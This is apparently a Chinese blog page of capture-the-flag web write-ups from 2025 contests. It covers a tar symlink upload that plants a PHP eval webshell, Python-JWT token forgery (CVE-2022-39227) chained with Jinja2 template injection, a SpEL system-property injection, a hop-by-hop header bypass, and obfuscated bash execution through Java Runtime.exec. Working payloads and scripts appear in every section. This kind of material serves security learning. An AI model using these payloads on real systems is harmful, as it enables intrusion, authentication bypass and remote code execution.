Archive

[长城杯2025] Ez Upload

文件上传题,任意上传一个文件后显示了源码:

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?> /tmp/1.sh

接受文件后,先进行了过滤 $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

preg_replace(正则, 替换内容, 原字符串) 将匹配到的内容用下划线 _ 替换掉,但是这里 [] 内的字符集合用 ^ 取反,即不属于下面范围的字符都会被过滤掉。

然后将文件保存在 /tmp 目录下并进行 tar -xvf 解压。但是文件上传就是需要写入自己的恶意木马后门,但是文件保存在了 /tmp 目录下,尝试修改文件保存位置。

我们可以使用软链接(即符号链接),软连接相当于一个快捷方式,实际上是一个特殊的文件,是将一个路径名链接到另一个文件。

在软连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。

比如这道题,我们上传的文件会被保存在 /tmp 目录,通过 ln -s /var/www/html link1 创建一个指向 /var/www/html 的软链接 link1 ,然后 tar -cvpf step1.tar link1 将软链接压缩成 tar ,

-c:创建一个新的归档文件
-v:显示详细操作过程
-p:保留文件的原始权限(解压时)
-f: 指定归档文件的名称

这样上传 step1.tar 文件后会被保存到 /tmp/step1.tar

然后解压变成 /tmp/link1

实际 /tmp/link1 ->/var/www/html 这样就实现了目录穿越。

再在 /link1 目录下写马 evil.php ,这样上传将 link1/evil.php 打包后的 step2.tar 相当于 /tmp/link1/evil.php -> /var/www/html/evil.php

ln -s /var/www/html link1 #创建第一个软连接指向/var/www/html
tar -cvpf step1.tar link1 #将软连接压缩成tar
rm link1 #删除软连接
mkdir link1 #创建文件夹,因为和软链接重名,所以前面一步我们 rm 删除 tar 打包后不需要的软链接再创建一个文件夹
cd link1
echo '<?php @eval($_REQUEST[1]);' > evil.php #写马,然后 cat evil.php 就会正常显示出 evil.php 的内容 <?php @eval($_REQUEST[1]);
cd ..
tar -cvpf step2.tar link1/evil.php #创建 tar 

注意,tar -cvpf step2.tar link1tar -cvpf step2.tar link1/evil.php 不一样,前面打包了整个 link1 目录,后面打包了 /link1/evil.php ,指定打包内容,这样才能正确访问 /var/www/html/evil.php

然后上传 step1.tar 和 step2.tar ,再访问 /evil.php 传入 1=system('cat /fl*'); 拿到 flag

[山东省赛2025海选] Web1

其实前面的一篇 blog 复现过这题,雾 )

附件给了 app.py 以及 requirements.txt ,发现存在 CVE-2022-39227-Python-JWT 漏洞。

查看 app.py ,关键代码审计:

users={}

users['guest'] = {
    'password': 'guest',
    'role': 'guest',
    'name': 'guest',
    'department': 'guest'
}

@app.route('/login', methods=['GET', 'POST'])
def login():
    
    if request.method == 'POST':
        data = request.get_json()
        username = data.get('username')
        password = data.get('password')
        
        
        if username in users and users[username]['password'] == password:
            user_info = users[username].copy()
            user_info['username'] = username
            
            
            payload = {
                'username': username,
                'role': user_info['role'],
                'name': user_info['name'],
                'department': user_info['department']
            }
            
            token = generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2))
            
            return jsonify({
                'success': True,
                'token': token,
                'user': user_info
            })
        else:
            return jsonify({
                'success': False,
                'message': '用户名或密码错误'
            }), 401
    
    return 'login.html'

第一步:

“users” 字典里发现有内置用户 guest/guest ,对 /login 接口以 json 格式传入 username 和 password 认证成功后 token = generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2)) 会生成一个 JWT :

eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw

第二步,上网搜索 Python-JWT 身份验证绕过:Python-JWT身份验证绕过(CVE-2022-39227)_cve-2022-39227-python-jwt-CSDN博客

然后前面认证成功后拿到了一个身份为 guest 的 JWT ,尝试伪造身份为 admin 绕过检测,这里可以利用通用 payload 代码 run.py :

from json import *
from python_jwt import *
from jwcrypto import jwk


jwt_json = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw"
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
#这里键值对根据需要修改
parsed_payload['role'] = "admin"
fake = base64url_encode(dumps(parsed_payload))
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)

拿到一个伪造成 admin 身份的 token:

{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NjEzOTkwNTEsICJpYXQiOiAxNzYxMzkxODUxLCAianRpIjogIk1vVlpsOFZyN3doajA3eTJ3T3ZzcXciLCAibmFtZSI6ICJndWVzdCIsICJuYmYiOiAxNzYxMzkxODUxLCAicm9sZSI6ICJhZG1pbiIsICJ1c2VybmFtZSI6ICJndWVzdCJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw"}

继续代码审计:

发现 /api/report/generate 接口存在 ssti 注入漏洞。

@app.route('/api/report/generate', methods=['POST'])
def generate_report():
    try:
        auth_header = request.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Bearer '):
            return jsonify({'error': '未提供认证token'}), 401
            
        token = auth_header[len('Bearer '):]
        
        
        try:
            header, payload = verify_jwt(token, jwt_key, ['PS256'])
            
            
            if payload.get('role') not in ['manager', 'admin']:
                return jsonify({
                    'error': '权限不足,只有经理和管理员可以生成报告',
                    'current_role': payload.get('role', 'unknown')
                }), 403
            
            data = request.get_json()
            company_id = data.get('company_id')
            report_template = data.get('template', '')
            custom_title = data.get('title', '企业监管报告')
            
            # 查找企业信息
            company = None
            for comp in tobacco_companies:
                if comp['id'] == company_id:
                    company = comp
                    break
            
            if not company:
                return jsonify({'error': '未找到指定企业'}), 404
            
            # 获取用户信息
            user_name = payload.get('name', '未知用户')
            user_dept = payload.get('department', '未知部门')


            if "{{" in report_template:
                return jsonify({'error': 'bad template'}), 400

            if report_template:
                
                template_content = f"""

对 /api/report/generate 接口 POST 传入 Authorization 字段 ,格式为 Bearer {“token”} ,其中 token 为前面我们伪造成 admin 后的 token 值,然后再以 json 格式传入 company_id 、password 可以看到回显:

继续分析, report_template 由用户直接提交,但是代码做了一个 if 判断:如果 report_template 中包含 {{ 就直接拒绝 400;然后把 report_template 原样拼接进大模板 template_content,再用 Jinja2 的 render_template_string 进行渲染。

虽然 report_template 过滤了 {{ ,但是 custom_title,company_id 等变量没有过滤,仍能可以 ssti,所以传入 title 为 {{ ''.__ … }} 即可

修改 run.py ,添加一行代码:

parsed_payload['name'] = "{{''.__class__.__base__.__subclasses__()}}"

跑出新的 payload ,修改 Bearer,可以拿到全部的类 class ,来进行 ssti 模板注入。

查找到 <‘class warnings.catch_warnings> 索引为 164 。

再次修改 run.py

parsed_payload['name'] = "{{''.__class__.__base__.__subclasses__()[164].__init__.__globals__.__builtins__['eval'](\"__import__('os').popen('cat /fl*').read()\")}}"

跑出可以进行 getshell 的 payload :

{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NjEzOTkwNTEsICJpYXQiOiAxNzYxMzkxODUxLCAianRpIjogIk1vVlpsOFZyN3doajA3eTJ3T3ZzcXciLCAibmFtZSI6ICJ7eycnLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzE2NF0uX19pbml0X18uX19nbG9iYWxzX18uX19idWlsdGluc19fWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL2ZsKicpLnJlYWQoKVwiKX19IiwgIm5iZiI6IDE3NjEzOTE4NTEsICJyb2xlIjogImFkbWluIiwgInVzZXJuYW1lIjogImd1ZXN0In0.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw"}

可以看到 flag ,

最后拿到 flag 为: flag{ebe992a7-8fcf-48da-ba44-37fa4b681279}

[强网杯S9 初赛] bbjv

a baby spring

附件给了一个 app.jar 文件。使用在线编译工具:在线Java反编译器 – ShenmeApp 或者装一个 JD-GUI 。

首先,app.jar 解压之后,可以看到 BOOT-INF 文件夹和 META-INF 文件夹,

BOOT-INF 是存放编译后的 classes 码,着重看 BOOT-INF 这个文件夹。然后 java 的项目文件夹格式是“域名.组织名.项目名”,题目的文件夹是 com.ctf.gateway,里面就是题目的代码文件。

SpringBoot 是一个构建在 Spring 框架顶部的项目,把代码分为:Controller,Service, Repository三层结构。Controller 是处理 HTTP 请求,所以在这里可以看到路由处理相关代码;Service 是项目核心逻辑;Repository 主要是与数据库相关。

首先看 controller ,看题目有哪些路由,可以看到,只有一个 /check 的 GET 路由,并且里面还有个 flagFile 文件。

代码审计:

@GetMapping({"/check"})
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
    String result = this.evaluationService.evaluate(rule);
    File flagFile = new File(System.getProperty("user.home"), "flag.txt");
    ...
}

@GetMapping({"/check"})
这个就是定义是处理 GET 请求,然后地址是 /check

public String checkRule(@RequestParam String rule) throws FileNotFoundException {
这个表示路由的处理函数,@RequestParam String rule 表示:这个路由还会接受一个名字叫 rule 的 Querystring 。

也就是我们访问 /check?rule=xxx ,这个 xxx 的内容会赋值给 rule 变量,

String result = this.evaluationService.evaluate(rule);
这里用 evaluationService 给 rule 进行了一些处理,然后

File flagFile = new File(System.getProperty("user.home"), "flag.txt");
if (flagFile.exists()) { xxx }

new File(System.getProperty("user.home"), "flag.txt"); 会 构造一个 File 对象 flagFile:

System.getProperty("user.home")flag.txt 拼接成一个文件路径,然后这个 flagFile 是 System.getProperty("user.home") / flag.txt 这一个文件,然后后面如果文件存在的话,它就会读取文件内容然后返回该内容。

所以,如果我们知道 flag 的位置,然后设置 System.getProperty("user.home") 的值为 flag 所在的文件夹,就可以拿到 flag 了。我们现在的目标是:

  1. 知道flag的位置
  2. 设置 System.getProperty("user.home") 的值为 flag 所在的文件夹

题目还给了 Dockerfile,也就是题目的构建脚本,从这里我们可以看到,flag 的位置是:/tmp/flag.txt,所以我们只要让 System.getProperty("user.home") 变成 /tmp 就可以了

那么怎么让 System.getProperty("user.home" )变成 /tmp 呢?查看 this.evaluationService.evaluate(rule);即 EvaluationService :

这里 evaluate 函数用 this.parser.parseExpression 对传入的 expression(也就是rule)进行了处理,TemplateParserContext 实现了 ParserContext,其默认规则是模板前缀 #{ 和后缀 },因此字符串中 #{...} 部分会被当作 SpEL 表达式解析。而从上面的定义来看:private final ExpressionParser parser = new SpelExpressionParser(); 中 parser 是一个 Spel 表达式解析器。所以我们就需要用 Spel 表达式来修改 System Property ,即使用 Spel 表达式让 System.getProperty("user.home") 变成 /tmp

问 ai 可以得知:

systemProperties 常被映射为一个可以访问/操作 JVM 系统属性的映射,类似 System.getProperties(),能否访问取决于 EvaluationContext 的配置(是否允许访问此变量/属性)。

systemProperties['user.home'] 表示对 systemProperties 映射中键为 "user.home" 的条目进行读写操作。等价于 System.getProperty("user.home")(读取)或修改该映射(写入),

= '/tmp' 赋值操作,把 systemProperties['user.home'] 的值设置为字符串 '/tmp'

所以我们可以利用 systemProperties 类,即 #systemProperties['user.home'] = '/tmp'作为模版内容,所以 payload:

#{#systemProperties['user.home'] = '/tmp'}
或者
#{systemProperties['user.home'] = '/tmp'}

又因为 rule 的表达式是 # ,而 url 中 # 后面是作为锚点了,所以要把 # 进行 url 编码再传入

'''
/check?rule=#{#systemProperties['user.home']='/tmp'}
'''
/check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D%3D%27%2Ftmp%27%7D

flag{f7488f11-7239-4f2d-a12c-33d8c86048ca}

[强网杯S9 初赛] SecretVault

小明最近注册了很多网络平台账号,为了让账号使用不同的强密码,小明自己动手实现了一套非常“安全”的密码存储系统 – SecretVault,但是健忘的小明没记住主密码,你能帮他找找吗

附件给了 main.go 和 app.py 文件。

代码审计:

main.go 作了认证网关+签名,实现鉴权服务(authorizer),

app.py 实现密码保管库系统(vault)。

两个程序的交互流程:

用户通过:5555端口访问系统
main.go 的反向代理验证 JWT 令牌并转发请求到 Flask 应用
Flask 应用根据 X-User 头部识别用户身份
用户登录时,Flask 应用会请求:4444端口的签发服务生成 JWT 令牌

我们先看 app.py :

fernet = Fernet(app.config['FERNET_KEY'])
    with app.app_context():
        db.create_all()

        if not User.query.first():
            salt = secrets.token_bytes(16)
            password = secrets.token_bytes(32).hex()
            password_hash = hash_password(password, salt)
            user = User(
                id=0,
                username='admin',
                password_hash=password_hash,
                salt=base64.b64encode(salt).decode('utf-8'),
            )
            db.session.add(user)
            db.session.commit()

            flag = open('/flag').read().strip()
            flagEntry = VaultEntry(
                user_id=user.id,
                label='flag',
                login='flag',
                password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
                notes='This is the flag entry.',
            )
            db.session.add(flagEntry)
            db.session.commit()

发现有个 id=0 的用户是 admin ,里面存放了 flag 。

继续往后看,发现 app.py 上面一个鉴权逻辑:

def login_required(view_func):
        @wraps(view_func)
        def wrapped(*args, **kwargs):
            uid = request.headers.get('X-User', '0')
            print(uid)
            if uid == 'anonymous':
                flash('Please sign in first.', 'warning')
                return redirect(url_for('login'))
            try:
                uid_int = int(uid)
            except (TypeError, ValueError):
                flash('Invalid session. Please sign in again.', 'warning')
                return redirect(url_for('login'))
            user = User.query.filter_by(id=uid_int).first()
            if not user:
                flash('User not found. Please sign in again.', 'warning')
                return redirect(url_for('login'))

            g.current_user = user
            return view_func(*args, **kwargs)

        return wrapped

这段鉴权逻辑 uid = request.headers.get(‘X-User’, ‘0’) 从请求头中获取取 X-User,如果没有则默认为0

if uid == ‘anonymous’:xxx 表示如果来自未登录用户,则拒绝,跳到 login 页面,

uid_int = int(uid) 把 uid 转成数字,user = User.query.filter_by(id=uid_int).first() 根据用户 id 从数据库查用户,如果用户不存在则拒绝访问跳转到 login 界面。

鉴权逻辑简化:

  • 请求头的 X-User 或者 0 → uid →uid != anonymous 则 uid_int = int(uid) → id = uid_int

因为前面 id=0 的用户为 admin ,且有 flag ,所以我们要让 uid_int = 0 要么篡改 X-User = 0 要么让 X-User 不存在。

但是 main.go 充当反向代理并在转发到 Flask 前:

func GetUIDFromRequest(r *http.Request) string {
	authHeader := r.Header.Get("Authorization")
	if authHeader == "" {
		cookie, err := r.Cookie("token")
		if err == nil {
			authHeader = "Bearer " + cookie.Value
		} else {
			return ""
		}
	}
	if len(authHeader) <= 7 || !strings.HasPrefix(authHeader, "Bearer ") {
		return ""
	}
	tokenString := strings.TrimSpace(authHeader[7:])
	if tokenString == "" {
		return ""
	}
	token, err := jwt.ParseWithClaims(tokenString, &AuthClaims{}, func(token *jwt.Token) (interface{}, error) {
		if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
			return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
		}
		return []byte(SecretKey), nil
	})
	if err != nil {
		log.Printf("failed to parse token: %v", err)
		return ""
	}
	claims, ok := token.Claims.(*AuthClaims)
	if !ok || !token.Valid {
		log.Printf("invalid token claims")
		return ""
	}
	return claims.UID
}

uid := GetUIDFromRequest(req)

GetUIDFromRequest(r *http.Request) string{xxx} 从请求中提取用户标识 uid 。
首先检查 Authorization 头,若没有,则尝试从 token 中读取,要求值以 “Bearer ” 开头,截取 JWT token 字符串。用程序全局的 SecretKey(在进程启动时随机生成)按 HMAC-SHA256 验证并解析 JWT,若验证成功,返回 Claims 中的 UID 字段;失败则返回空字符串。
因此 uid 为解析出的用户 id 字符串,或空字符串表示未认证/解析失败。

继续往后看,

func main() {
	authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
		req.URL.Scheme = "http"
		req.URL.Host = "127.0.0.1:5000"

		uid := GetUIDFromRequest(req)
		log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
		req.Header.Del("Authorization")
		req.Header.Del("X-User")
		req.Header.Del("X-Forwarded-For")
		req.Header.Del("Cookie")

		if uid == "" {
			req.Header.Set("X-User", "anonymous")
		} else {
			req.Header.Set("X-User", uid)
		}
	}}

func main() { xxx } 在转发前删除了头部的 Authorization 、Cookie 、X-User 、X-Forwarded-For ,然后又会基于解析结果设置一个仅由 authorizer 控制的 X-User ,其字段值要么为 anonymous 要么为 req.Header.Set(“X-User”, uid) 即前面 JWT 内的 uid 。

所以 X-User = 0 只能来源于:

  1. 能伪造 JWT → 需要 SecretKey,未知
  2. 能调用 /sign?uid=0 → 必须来自 127.0.0.1,外部无法直连

因此,我们只能想办法让 X-User 置空(请求中没有 X-User)来实现 uid=0 。

Connection: close,X-User

找到一篇文章:

https://blog.hk.cn/posts/%E6%BB%A5%E7%94%A8-http-hop-by-hop-%E8%AF%B7%E6%B1%82%E5%A4%B4

这道题一个是 Flask 服务器,在 5000 端口,一个是 Go 服务器作为 Flask 页面的代理,在 5555 端口。并且让 Go 输出 proxy 的请求,让 Python 输出接收到的请求头。

伟大的 yema 搭建了一个与题目类似的服务器然后 yema 向 Go 发送

GET / HTTP/1.1
Host: 127.0.0.1
Connection: close,X-User
Go的代理向Flask发送的请求如下:

Go 在最后添加了 X-User: test-user(题目里是 Guest 账户,这里 yema 随便写了一个)

Python 接收到的 Header 只有 Host, X-Forwarded-For, Accept-Encoding
因为 Connection 包含 X-User,使得 X-User 变成一个 hop-by-hop 头,Flask 就忽略 X-User 这个头了

因此我们使得 X-User 不存在,拿到 flagflag{212dba28-0bf0-4849-bbec-8946279d3e2e}

curl -H 'Connection: close, X-User' 'http://container.ctf.abstrax.cn:30205/dashboard'
或者
curl -X GET "http://container.ctf.abstrax.cn:30205/dashboard" -H "Host: x" -H "Connection: close,X-User"| findstr "flag{"

[强网杯S9 初赛] yamcs

没看懂干啥的,但是找到一个类似 JAVA 代码的 text 字段

尝试修改这个字段内容为 out0.setStringValue("aaa");

然后可以看到有回显内容

尝试带出 flag :

try {
    Process process = Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9mbGFnIHwgYmFzZTY0}|{base64,-d}|{bash,-i}");
    java.io.InputStream inputStream = process.getInputStream();
    java.io.InputStreamReader inputStreamReader = new java.io.InputStreamReader(inputStream);
    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(inputStreamReader);
    String a = bufferedReader.readLine();
    out0.setStringValue(a);
} catch (Exception e) {
    e.printStackTrace();
}

拿到:ZmxhZ3s0NzE5MzYwOS1jMjlkLTQ3Y2QtODBiYS03YzI5YWYyNjAzN2N9Cg==

flag{47193609-c29d-47cd-80ba-7c29af26037c}

参考:

强网杯 2025 部分web wp – LamentXU – 博客园

强网杯S9 Polaris战队Writeup – 星盟安全团队

上一篇
下一篇